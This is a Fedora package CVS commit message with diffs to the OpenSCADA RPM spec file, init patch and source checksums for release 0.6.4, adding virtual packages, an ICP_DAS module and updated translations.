 ????? %name-Special-FlibSys ????????????? ? ??????? ??????????
 ?????????? API ????? ????????????????? ????????????????.
 %description Special-FlibSys -l uk_UA.UTF8
-????? %name-Special-FlibSys ????? ? ??????? ?????????? ?????????? API
-?????????? ????????????? ???????????.
+????? %name-Special-FlibSys ????? ? ??????? ??????????
+?????????? API ?????????? ????????????? ???????????.
 %description Special-FlibSys -l de_DE.UTF8
-Das Paket %name-Special-FlibSys ermoeglicht in das System die
+Das Paket %name-Special-FlibSys gew?hrt in das System die
 Bibliothek der API-Systemprogrammierung des Nutzersbereiches.
 %endif
 
+######################### Tests-System ##############################
 %if 0%{?with_systemtests}
 %package Special-SystemTests
 Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-SystemTests
-The %name-Special-SystemTests allows the group tests for OpenSCADA system.
+The %name-Special-SystemTests allows the group tests
+for OpenSCADA system.
 %description Special-SystemTests -l ru_RU.UTF8
-????? %name-Special-SystemTests ????????????? ?????? ?????? ??? ???????
-OpenSCADA.
+????? %name-Special-SystemTests ????????????? ?????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l uk_UA.UTF8
-????? %name-Special-SystemTests ????? ????? ?????? ??? ??????? OpenSCADA.
+????? %name-Special-SystemTests ????? ????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l de_DE.UTF8
-Das Paket %name-Special-SystemTests enthaelt die Testgruppe fuer das
+Das Paket %name-Special-SystemTests enth?lt die Testgruppe f?r das
 OpenSCADA-System
 %endif
 
@@ -733,7 +841,7 @@ The %name-doc package include documents 
 %description doc -l uk_UA.UTF8
 ????? %name-doc ??????? ????? ????????????.
 %description doc -l de_DE.UTF8
-Das Paket %name-doc enthaelt Dokumentationsdateien.
+Das Paket %name-doc enth?lt die Dokumentationsdateien.
 
 %package devel
 Summary: Open SCADA development
@@ -746,13 +854,18 @@ The %name-devel package includes library
 %description devel -l uk_UA.UTF8
 ????? %name-devel ??????? ????? ????????? ?? ????????? ?????.
 %description devel -l de_DE.UTF8
-Das Paket %name-devel enthaelt Bibliothekenarchiv und eingeschlossene
+Das Paket %name-devel enth?lt das Bibliothekenarchiv und die
+eingeschlossenen
 Dateien.
 
 %package demo
 Summary: Open SCADA demo data bases and config
 Group: Applications/Engineering
 Requires:%{name} = %{version}-%{release}
+# ############### DB ########################
+%if 0%{?with_dbarch}
+Requires:%{name}-DB-SQLite = %{version}-%{release}
+%endif
 # ############### ARH ########################
 %if 0%{?with_dbarch}
 Requires:%{name}-ARH-DBArch = %{version}-%{release}
@@ -777,6 +890,9 @@ Requires:%{name}-Special-SystemTests = %
 %if 0%{?with_blockcalc}
 Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
 %endif
+%if 0%{?with_modbus}
+Requires:%{name}-DAQ-ModBus = %{version}-%{release}
+%endif
 %if 0%{?with_javalikecalc}
 Requires:%{name}-DAQ-JavaLikeCalc = %{version}-%{release}
 %endif
@@ -786,12 +902,12 @@ Requires:%{name}-DAQ-LogicLevel = %{vers
 %if 0%{?with_system}
 Requires:%{name}-DAQ-System = %{version}-%{release}
 %endif
-%if 0%{?with_blockcalc}
-Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
-%endif
 %if 0%{?with_daqgate}
 Requires:%{name}-DAQ-Gate = %{version}-%{release}
 %endif
+%if 0%{?with_icpdas}
+Requires:%{name}-DAQ-IcpDas = %{version}-%{release}
+%endif
 # ############### HTTP ########################
 %if 0%{?with_http}
 Requires:%{name}-Protocol-HTTP = %{version}-%{release}
@@ -817,8 +933,11 @@ Requires:%{name}-UI-QTStarter = %{versio
 %if 0%{?with_qtcfg}
 Requires:%{name}-UI-QTCfg = %{version}-%{release}
 %endif
-%if 0%{?with_qtvision}
-Requires:%{name}-UI-QTVision = %{version}-%{release}
+%if 0%{?with_uivision}
+Requires:%{name}-UI-Vision = %{version}-%{release}
+%endif
+%if 0%{?with_uivcaengine}
+Requires:%{name}-UI-VCAEngane = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -830,29 +949,149 @@ Requires:%{name}-UI-WebCfgd = %{version}
 %if 0%{?with_webvision}
 Requires:%{name}-UI-WebVision = %{version}-%{release}
 %endif
-
 %description demo
 The %{name}-demo package includes demo data bases and configs.
 For start use command <openscada_demo>. For access use account
 "root" and password "openscada" or account "user" without password.
 %description demo -l ru_RU.UTF8
-????? %{name}-demo ???????? ???????????????? ???? ?????? ? ????????????.
-??? ?????? ??????????? ??????? <openscada_demo>. ??? ??????? ??????????? ??????
-"root" ? ?????? "openscada" ??? ?????? "user" ??? ??????.
+????? %{name}-demo ???????? ???????????????? ???? ?????? ?
+????????????. ??? ?????? ??????????? ??????? <openscada_demo>.
+??? ??????? ??????????? ?????? "root" ? ?????? "openscada"
+??? ?????? "user" ??? ??????.
 %description demo -l uk_UA.UTF8
-????? %{name}-demo ??????? ?????????????? ???? ????? ?? ????????????. ???
-?????? ?????????????? ??????? <openscada_demo>. ??? ??????? ??????????????
-????? "root" ?? ?????? "openscada" ??? ????? "user" ??? ??????.
+????? %{name}-demo ??????? ?????????????? ???? ????? ??
+????????????. ??? ?????? ?????????????? ??????? <openscada_demo>.
+??? ??????? ?????????????? ????? "root" ?? ?????? "openscada"
+??? ????? "user" ??? ??????.
 %description demo -l de_DE.UTF8
-Das Paket %{name}-demo enthaelt Demodatenbanken und Konfigurationen. Fuers
-Starten wird Kommando <openscada_demo> benutzt. Fuer den Zugang benutzen Sie
-die Anschreibung "root" und das Kennwort "openscada" oder die Anschreibung
-"user" ohne Kennwort.
+Das Paket %{name}-demo enth?lt die Demodatenbanken und
+Konfigurationen. F?rs Starten wird Kommando <openscada_demo>
+benutzt. F?r den Zugang benutzen Sie die Anschreibung "root"
+und das Kennwort "openscada" oder die Anschreibung "user" ohne Kennwort.
+
+# ############################### Virtual Packages ###################################
+%package plc
+Summary: OpenSCADA PLC.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-Archive-FSArch
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-System
+Requires: %name-DB-SQLite
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Transport-Sockets
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfgD
+Requires: %name-UI-WebVision
+%description plc
+The %name-plc package is virtual package for PLC.
+%description plc -l ru_RU.UTF8
+????? %name-plc ??? ??????????? ????? ??? ???.
+%description plc -l uk_UA.UTF8
+????? %name-plc ?? ??????????? ????? ??? ???.
+%description plc -l de_RU.UTF8
+????? %name-plc ist das Virtualpaket f?r PLC.
+
+%package server
+Summary: OpenSCADA server.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DB-FireBird
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-DiamondBoards
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfg
+Requires: %name-UI-WebVision
+Requires: %name-WebCfgD
+Requires: %name-Special-FLibComplex1
+Requires: %name Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description server
+The %name-server package is virtual package for OpenSCADA-server.
+%description server -l ru_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l uk_UA.UTF8
+????? %name-server ?? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l de_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+
+%package visStation
+Summary: OpenSCADA visual station.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-Vision
+%if 0%{?rhel}
+Requires: %name-UI-QTStarter
+Requires: %name-UI-QTCfg
+%endif
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description visStation
+The %name-visStation package is virtual package for visual
+station (OpenSCADA).
+%description visStation -l ru_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
+%description visStation -l uk_UA.UTF8
+????? %name-visStation ?? ??????????? ????? ??? ???????
+?????????? ??????? (OpenSCADA).
+%description visStation -l de_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
 
 %prep
 %setup -q -n %{srcname}
 %patch0 -p1 -b .fedora
-%patch1 -p1 -b .openssl
+#%patch1 -p1 -b .openssl
 %{__sed} -i 's|/usr/lib/|%{_libdir}/|' data/oscada*.xml
 
 %build
@@ -872,7 +1111,8 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_modbus:--disable-ModBus} \
 	%{!?with_soundcard:--disable-SoundCard} \
 	%{!?with_qtcfg:--disable-QTCfg} \
-	%{!?with_qtvision:--disable-Vision} \
+	%{!?with_uivision:--disable-Vision} \
+	%{!?with_uivcaengine:--disable-VCAEngine} \
 	%{!?with_ssl:--disable-SSL} \
 	%{!?with_serial:--disable-Serial} \
 	%{!?with_sockets:--disable-Sockets} \
@@ -885,6 +1125,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_javalikecalc:--disable-JavaLikeCalc} \
 	%{!?with_logiclevel:--disable-LogicLev} \
 	%{!?with_daqgate:--disable-DAQGate} \
+	%{!?with_icpdas:--disable-ICP_DAS} \
 	%{!?with_selfsystem:--disable-SelfSystem} \
 	%{!?with_flibcomplex:--disable-FlibComplex1} \
 	%{!?with_flibmath:--disable-FlibMath} \
@@ -895,6 +1136,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 make %{?_smp_mflags}
 
 %install
+%{__rm} -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
 # let's try to get rid of rpath
@@ -968,6 +1210,7 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_javalikecalc: %exclude %{_libdir}/openscada/daq_JavaLikeCalc.so}
 %{?with_logiclevel: %exclude %{_libdir}/openscada/daq_LogicLev.so}
 %{?with_daqgate: %exclude %{_libdir}/openscada/daq_DAQGate.so}
+%{?with_icpdas: %exclude %{_libdir}/openscada/daq_ICP_DAS.so}
 %{?with_selfsystem: %exclude %{_libdir}/openscada/prot_SelfSystem.so}
 %{?with_firebird: %exclude %{_libdir}/openscada/bd_FireBird.so}
 %{?with_mysql: %exclude %{_libdir}/openscada/bd_MySQL.so}
@@ -979,8 +1222,10 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_webcfgd: %exclude %{_libdir}/openscada/ui_WebCfgD.so}
 %{?with_webvision: %exclude %{_libdir}/openscada/ui_WebVision.so}
 %{?with_http: %exclude %{_libdir}/openscada/prot_HTTP.so}
+%{?with_qtstarter: %exclude %{_libdir}/openscada/ui_QTStarter.so}
 %{?with_qtcfg: %exclude %{_libdir}/openscada/ui_QTCfg.so}
-%{?with_qtvision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivcaengine: %exclude %{_libdir}/openscada/ui_VCAEngine.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_SSL.so}
 %{?with_sockets: %exclude %{_libdir}/openscada/tr_Sockets.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_Serial.so}
@@ -994,6 +1239,15 @@ desktop-file-install --dir=%{buildroot}%
 %{_localstatedir}/spool/openscada/ARCHIVES/MESS/info
 %{_localstatedir}/spool/openscada/ARCHIVES/VAL/info
 
+%files plc
+%defattr(-,root,root)
+
+%files server
+%defattr(-,root,root)
+
+%files visStation
+%defattr(-,root,root)
+
 %files doc
 %defattr(-,root,root)
 %doc doc/*.pdf doc/Modules
@@ -1064,6 +1318,12 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/daq_DAQGate.so
 %endif
 
+%if 0%{?with_icpdas}
+%files DAQ-IcpDas
+%defattr(-,root,root)
+%{_libdir}/openscada/daq_ICP_DAS.so
+%endif
+
 %if 0%{?with_selfsystem}
 %files Protocol-SelfSystem
 %defattr(-,root,root)
@@ -1145,12 +1405,18 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/ui_QTCfg.so
 %endif
 
-%if 0%{?with_qtvision}
-%files UI-QTVision
+%if 0%{?with_uivision}
+%files UI-Vision
 %defattr(-,root,root)
 %{_libdir}/openscada/ui_Vision.so
 %endif
 
+%if 0%{?with_uivcaengine}
+%files UI-VCAEngine
+%defattr(-,root,root)
+%{_libdir}/openscada/ui_VCAEngine.so
+%endif
+
 %if 0%{?with_ssl}
 %files Transport-SSL
 %defattr(-,root,root)
@@ -1211,22 +1477,39 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
+- The change version for release 0.6.4
+- Moved Ui-VCAEngane module to the self package
+- Removed QTStarter module from the main package
+- Added the virtual plc, server, visStation packages
+- Some cosmetics.
+
+* Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
+- Adding self module ICP_DAS
+- Fixed Germany Language translations by Popkova Irina
+- Delete openscada-0.6.3.3-openssl.patch from previouns version
+- Adding the next version of the package.
+
+* Tue Sep 1 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.3-13
+- Adding Requires for webcfg, webcfgd, webvision, http and snmp
+- Some cosmetics.
+
 * Tue Aug 25 2009 Tomas Mraz <tmraz at redhat.com> - 0.6.3.3-12
 - rebuilt with new openssl
 
 * Mon Jul 27 2009 Popkov Aleksey <aleksey at oscada.org.ua> - 0.6.3.3-11
-- Fixed of macros %find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
+- Fixed of macros find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.3.3-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild.
 
 * Tue Jul 14 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-9
-- Adding %find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
+- Adding find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Tue Jun 30 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-8
 - Added of dependences in to self package demo
-- Fixed %preun section by Peter Lemenkov <lemenkov at gmail.com>
+- Fixed preun section by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Wed Jun 19 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-7
@@ -1304,7 +1587,7 @@ desktop-file-install --dir=%{buildroot}%
 - add Athena board specific build
 
 * Wed Nov 03 2004 Roman Savochenko <rom_as at fromru.com>
-- move the message arhives data to /var/spool/%{name}/ARHIVE/MESS
+- move the message arhives data to /var/spool/{name}/ARHIVE/MESS
 
 * Tue Apr 06 2004 Roman Savochenko <rom_as at fromru.com>
 - make 3 packages: OpenScada, OpenScada-devel, OpenScada-testdata

oscada.init.patch:
 oscada.init |   49 +++++++++++++++++++++++++++++++++++--------------
 1 file changed, 35 insertions(+), 14 deletions(-)

Index: oscada.init.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/oscada.init.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- oscada.init.patch	17 Jun 2009 13:21:56 -0000	1.3
+++ oscada.init.patch	13 Oct 2009 09:42:52 -0000	1.4
@@ -2,15 +2,6 @@ diff --git a/data/oscada.init b/data/osc
 index 21744dd..cdecaf8 100644
 --- a/data/oscada.init
 +++ b/data/oscada.init
-@@ -2,7 +2,7 @@
- #
- # Init file for OpenSCADA system demon.
- #
--# chkconfig: 2345 99 05
-+# chkconfig: - 99 05
- # description: Open SCADA System server daemon
- #
- # processname: openscada
 @@ -13,25 +13,45 @@ WITHOUT_RC_COMPAT=1
  # Source function library.
  . /etc/init.d/functions


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	15 Jun 2009 08:12:48 -0000	1.2
+++ sources	13 Oct 2009 09:42:52 -0000	1.3
@@ -1 +1 @@
-f66f45c28ba9c50f0d38f8a2e76cd741  openscada-0.6.3.3.tar.gz
+9288241adecd71bd28a98695b7648965  openscada-0.6.4.tar.gz


--- openscada-0.6.3.3-openssl.patch DELETED ---



From aleksey2005 at fedoraproject.org  Tue Oct 13 09:44:42 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Tue, 13 Oct 2009 09:44:42 +0000 (UTC)
Subject: rpms/openscada/F-11 .cvsignore, 1.2, 1.3 import.log, 1.7,
	1.8 openscada.spec, 1.9, 1.10 oscada.init.patch, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091013094442.EC56911C00E8@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3320/F-11

Modified Files:
	.cvsignore import.log openscada.spec oscada.init.patch sources 
Log Message:
Release OpenSCADA 0.6.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	15 Jun 2009 07:01:33 -0000	1.2
+++ .cvsignore	13 Oct 2009 09:44:42 -0000	1.3
@@ -1 +1 @@
-openscada-0.6.3.3.tar.gz
+openscada-0.6.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	14 Jul 2009 11:42:47 -0000	1.7
+++ import.log	13 Oct 2009 09:44:42 -0000	1.8
@@ -5,3 +5,4 @@ openscada-0_6_3_3-5_fc10:F-11:openscada-
 openscada-0_6_3_3-6_fc10:F-11:openscada-0.6.3.3-6.fc10.src.rpm:1245335744
 openscada-0_6_3_3-7_fc10:F-11:openscada-0.6.3.3-7.fc10.src.rpm:1245444490
 openscada-0_6_3_3-9_fc11:F-11:openscada-0.6.3.3-9.fc11.src.rpm:1247571822
+openscada-0_6_4-1_fc11:F-11:openscada-0.6.4-1.fc11.src.rpm:1255427077


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/openscada.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- openscada.spec	27 Jul 2009 11:27:45 -0000	1.9
+++ openscada.spec	13 Oct 2009 09:44:42 -0000	1.10
@@ -14,6 +14,7 @@
 %bcond_without javalikecalc
 %bcond_without logiclevel
 %bcond_without daqgate
+%bcond_with icpdas
 # ======== Protocol ========
 %bcond_without selfsystem
 # ========= DATA BASES =====
@@ -31,15 +32,16 @@
 # ========== HTTP Protocol =========
 %bcond_without http
 # ========== QT Interfaces ==========
+%bcond_without uivcaengine
 # QT4 devel old in to CentOs
 %if 0%{?rhel}
 %bcond_with qtstarter
 %bcond_with qtcfg
-%bcond_with qtvision
+%bcond_with uivision
 %else
 %bcond_without qtstarter
 %bcond_without qtcfg
-%bcond_without qtvision
+%bcond_without uivision
 %define _desktopdir %_datadir/applications
 %define _iconsdir /usr/share/icons
 %endif
@@ -53,17 +55,20 @@
 %bcond_without flibsys
 %bcond_without systemtests
 
-# DIAMONDBOARDS - Only for x86_32
+# Only for x86_32
 %ifarch x86_64
-%if 0%{?with_diamondboards}
-%{error: DIAMONDBOARDS support available only for %{ix86} target}
+  %if 0%{?with_diamondboards}
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
 %endif
+  %if 0%{?with_icpdas}
+  %{error: ICP_DAS support available only for %{ix86} target }
+  %endif
 %endif
 
 Summary: Open SCADA system project
 Name: openscada
-Version: 0.6.3.3
-Release: 11%{?dist}
+Version: 0.6.4
+Release: 1%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -95,6 +100,7 @@ BuildRequires: libtool
 BuildRequires: desktop-file-utils
 BuildRequires: sed
 BuildRequires: chrpath
+BuildRequires: net-snmp-devel
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -109,7 +115,7 @@ Open SCADA system. For access use accoun
 ???????? SCADA ???????. ??? ??????? ?????????????? ????? "root" ?? ??????
 "openscada".
 %description -l de_DE.UTF8
-Das offene SCADA System. Fuer den Zugang die Aufzeichnung "root" und das
+Das offene SCADA System. F?r den Zugang die Aufzeichnung "root" und das
 Kennwort "openscada" benutzen.
 
 %post
@@ -124,25 +130,26 @@ if [ $1 = 0 ]; then
  /sbin/chkconfig --del openscadad
 fi
 
+################## DAQ-System ###########################
 %if 0%{?with_diamondboards}
 %package DAQ-DiamondBoards
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-DiamondBoards
-The %name-DAQ-DiamondBoards allows access to Diamond systems DA boards.
-Includes support of Athena board.
+The %name-DAQ-DiamondBoards allows access to Diamond systems
+DA boards. Includes support of Athena board.
 %description DAQ-DiamondBoards -l ru_RU.UTF8
 ????? %name-DAQ-DiamondBoards ????????????? ?????? ? ?????? ?????
 ?????? ????? Diamond systems. ???????? ????????? ????????? ?????
 Athena.
 %description DAQ-DiamondBoards -l uk_UA.UTF8
-????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ????? ?????
-Diamond systems. ??????? ????????? ????????? ????? Athena.
+????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ?????
+????? Diamond systems. ??????? ????????? ????????? ????? Athena.
 %description DAQ-DiamondBoards -l de_DE.UTF8
-Das Paket %name-DAQ-DiamondBoards ermoeglicht den Zugang zur
-Datenerfassung der Firma Diamond systems.Es enthaelt die Unterstuetzung
-der Systemplatte Athena.
+Das Paket %name-DAQ-DiamondBoards erm?glicht den Zugang zur
+Datenerfassung der Firma Diamond Systems.Es enth?lt die
+Unterst?tzung der Systemplatte Athena.
 %endif
 
 %if 0%{?with_dcon}
@@ -160,8 +167,8 @@ Supported I-7000 DCON protocol.
 ????? %name-DAQ-DCON ????? ?????????? ???????????? ??????? DCON.
 ????????????? I-7000 DCON ????????.
 %description DAQ-DCON -l de_DE.UTF8
-Das Paket %name-DAQ-DCON ermoeglicht Verwirklichung des
-Kundenservices des DCON-Protoklls. Unterstueuzung Prototkoll
+Das Paket %name-DAQ-DCON erm?glicht Verwirklichung des
+Kundenservices des DCON-Protokolls. Unterst?zung des Protokolls
 I-7000 DCON.
 %endif
 
@@ -178,12 +185,13 @@ Supported Modbus/TCP, Modbus/RTU and Mod
 ????????? ModBus. ?????????????? Modbus/TCP, Modbus/RTU ?
 Modbus/ASCII ?????????.
 %description DAQ-ModBus -l uk_UA.UTF8
-????? %name-DAQ-ModBus ????? ?????????? ???????????? ModBus ???????.
+????? %name-DAQ-ModBus ????? ?????????? ????????????
+ModBus ???????.
 ????????????? Modbus/TCP, Modbus/RTU ?? Modbus/ASCII ?????????.
 %description DAQ-ModBus -l de_DE.UTF8
-Das Paket %name-DAQ-ModBus emoeglicht Realisierung des Kundenservices des
-ModBus - Protokolls. Unterstuetzt werden die Protokolle Modbus/TCP,
-Modbus/RTU ? Modbus/ASCII.
+Das Paket %name-DAQ-ModBus em?glicht die Implementierung des
+Kundenservices des ModBus-Protokolls. Unterst?tzt werden die
+Protokolle Modbus/TCP, Modbus/RTU ? Modbus/ASCII.
 %endif
 
 %if 0%{?with_soundcard}
@@ -198,14 +206,13 @@ The %name-DAQ-Soundcard allows access to
 %description DAQ-Soundcard -l uk_UA.UTF8
 ????? %name-DAQ-Soundcard ????? ?????? ?? ????? ???????? ?????.
 %description DAQ-Soundcard -l de_DE.UTF8
-Das Paket %name-DAQ-Soundcard ermoeglicht den Zugang zur Schallkarte.
+Das Paket %name-DAQ-Soundcard gew?hrt den Zugang zur Schallkarte.
 %endif
 
 %if 0%{?with_snmp}
 %package DAQ-SNMP
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
-BuildRequires: net-snmp-devel
 Requires: %{name} = %{version}-%{release}
 %description DAQ-SNMP
 The %name-DAQ-SNMP allows realising of SNMP client service.
@@ -215,8 +222,8 @@ The %name-DAQ-SNMP allows realising of S
 %description DAQ-SNMP -l uk_UA.UTF8
 ????? %name-DAQ-SNMP ????? ?????????? ???????????? SNMP ???????.
 %description DAQ-SNMP -l de_DE.UTF8
-Das Paket %name-DAQ-SNMP ermoeglicht Realisierung des Kundenservices
-des SNMP - Protokolls.
+Das Paket %name-DAQ-SNMP em?glicht die Implementierung des
+Kundenservices des SNMP-Protokolls.
 %endif
 
 %if 0%{?with_siemens}
@@ -237,9 +244,9 @@ for other.
 ????????? ???? Hilscher CIF ? ????????????? ????????? MPI ??
 ?????????? Libnodave ??? ??????.
 %description DAQ-Siemens -l de_DE.UTF8
-Das Paket %name-DAQ-Siemens, enthaelt die Datenquelle PLC Siemens
+Das Paket %name-DAQ-Siemens, enth?lt die Datenquelle PLC Siemens
 mittels der Karten Hilscher CIF durch Anwendung des MPI -
-Protokolls und der Bibliothek Libnodave fuer Anderes.
+Protokolls und der Bibliothek Libnodave f?r Anderes.
 %endif
 
 %if 0%{?with_system}
@@ -249,20 +256,20 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-System
 The %name-DAQ-System, allow operation system data acquisition.
-Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory, CPU and
-other.
+Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory,
+CPU and other.
 %description DAQ-System -l ru_RU.UTF8
 ????? %name-DAQ-System, ????????????? ???? ?????? ????????????
 ???????. ?????????????? ????????? ?????? ?? Linux: HDDTemp, Sensors,
 Uptime, Memory, CPU ? ??????.
 %description DAQ-System -l uk_UA.UTF8
 ????? %name-DAQ-System, ????? ???? ????? ??????????? ???????.
-????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime, Memory,
-CPU ?? ????.
+????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime,
+Memory, CPU ?? ????.
 %description DAQ-System -l de_DE.UTF8
-Das Paket %name-DAQ-System ermoeglicht Datenerfassung des
+Das Paket %name-DAQ-System erm?glicht die Datenerfassung des
 Operationssystems. Es werden die Datenquellen ?? Linux: HDDTemp,
-Sensors, Uptime, Memory, CPU und andere unterstuetzt.
+Sensors, Uptime, Memory, CPU und andere unterst?tzt.
 %endif
 
 %if 0%{?with_blockcalc}
@@ -277,7 +284,7 @@ The %name-DAQ-BlockCalc allows block bas
 %description DAQ-BlockCalc -l uk_UA.UTF8
 ????? %name-DAQ-BlockCalc, ????? ???????? ??????????.
 %description DAQ-BlockCalc -l de_DE.UTF8
-Das Paket %name-DAQ-BlockCalc gewaehrt den Blockrechner
+Das Paket %name-DAQ-BlockCalc gew?hrt den Blockrechner
 %endif
 
 %if 0%{?with_javalikecalc}
@@ -290,17 +297,18 @@ The %name-DAQ-JavaLikeCalc allows java-l
 function's libraries engine. User can create and modify function and
 libraries.
 %description DAQ-JavaLikeCalc -l ru_RU.UTF8
-????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java ????????
-????? ??????????? ? ?????? ?????????. ???????????? ????? ????????? ?
-?????????????? ??????? ? ??????????.
+????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java
+???????? ????? ??????????? ? ?????? ?????????. ???????????? ?????
+????????? ? ?????????????? ??????? ? ??????????.
 %description DAQ-JavaLikeCalc -l uk_UA.UTF8
 ????? %name-DAQ-JavaLikeCalc, ????? ???????? ?? ???? ?????? ?? Java
 ?????????? ?? ?????? ????????? ??????. ?????????? ???? ?????????? ??
 ???????????? ??????? ?? ??????????.
 %description DAQ-JavaLikeCalc -l de_DE.UTF8
